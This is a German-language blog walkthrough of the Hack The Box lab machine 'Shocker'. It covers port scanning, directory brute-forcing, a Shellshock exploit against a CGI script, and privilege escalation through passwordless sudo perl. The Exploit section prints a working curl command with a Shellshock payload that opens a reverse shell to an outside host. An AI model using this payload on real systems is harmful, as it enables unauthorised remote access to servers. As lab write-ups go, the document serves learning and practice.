HTB – Shocker

Shocker ist eine einfache Maschine welche im zweiten Halbjahr 2017 veröffentlicht wurde. Sie ist der Kategorie Perl, Web und Injection zugeordnet.

Maschine

Betriebssystem: Linux
Veröffentlicht: 20.09.2017
Bewertung: Easy

1. Discovery

Nachdem ich meine Virtuelle Maschine mit dem Netzwerk von VPN verbunden habe, verschaffe ich mir im ersten Schritt, wie in den meisten Fällen, einen Überblick mit NMAP.

nmap -sV -sC <ip>

Wir wissen nun das das Ziel einen Apache Webserver auf Port 80 betreibt und der ssh Dienst über Port 2222 erreichbar ist. Letzteres ist etwas untypisch da der normale Port 22 ist. Ansonsten wissen wir noch das es sich um ein Ubuntu System handelt.

Beim Aufruf der Webseite erscheint ein Bild und der Text „Don’t Bug Me!“. Im Quellcode sind keine Kommentare hinterlegt. Auch sonst ist im Quellcode nichts auffälliges zu erkennen. Im nächsten Schritt habe ich dirb über die IP Adresse laufen gelassen, das Tool hat folgende Bestandteile der Seite gefunden:

Die index.html kennen wir bereits. Wie am Statuscode zu erkennen haben wir keinen Zugriff auf cgi-bin und server-status. Nachdem ich cgi-bin bei Google eingegeben habe wurde mir direkt „cgi-bin exploit“ vorgeschlagen. Diese Suche hat mich auf eine Webseite gebracht welche eine Schwachstelle mit dem Namen ShellShock beschreibt (Link). Der Name passt verdächtig gut zum Namen der Maschine, weshalb das dort beschriebene Vorgehen getestet wird.

Damit dieses getestet werden kann muss der Ordner cgi-bin/ weiter untersucht werden. Durch Bruteforcen habe ich die Datei /cgi-bin/user.sh gefunden. Das auf der Seite beschriebene NMAP Script bestätigt das die Webseite vermutlich von der Schwachstelle betroffen ist.

2. Exploit

Um die Schwachstelle ausnutzen zu können können wir Curl nutzen. Mit folgenden Befehl würden wir eine Reverse Shell starten:

curl -A '() { :; }; /bin/bash -i > /dev/tcp/10.10.14.81/1234 0<&1 2>&1' http://10.129.38.136/cgi-bin/user.sh

Vorher muss jedoch der Listener auf unserer Maschine gestartet werden:

Nun wird die Reverse Shell gestartet:

Und die Reaktion des Listeners:

Durch das Navigieren in das Home Verzeichnis des Benutzers shelly kann die User Flag gefunden werden.

3. Privileg Escalation

Nun fehlt uns noch die Root Flag. Mit dem Befehl sudo -l können wir prüfen welche Befehle unser Nutzer ausführen kann:

Wir können ohne Passwort mit root Rechten Perl Befehle ausführen. Dies nutzen wir um unsere Rechte zu erweitern:

Die root Flag finden wir im Verzeichnis root:

Schreibe einen Kommentar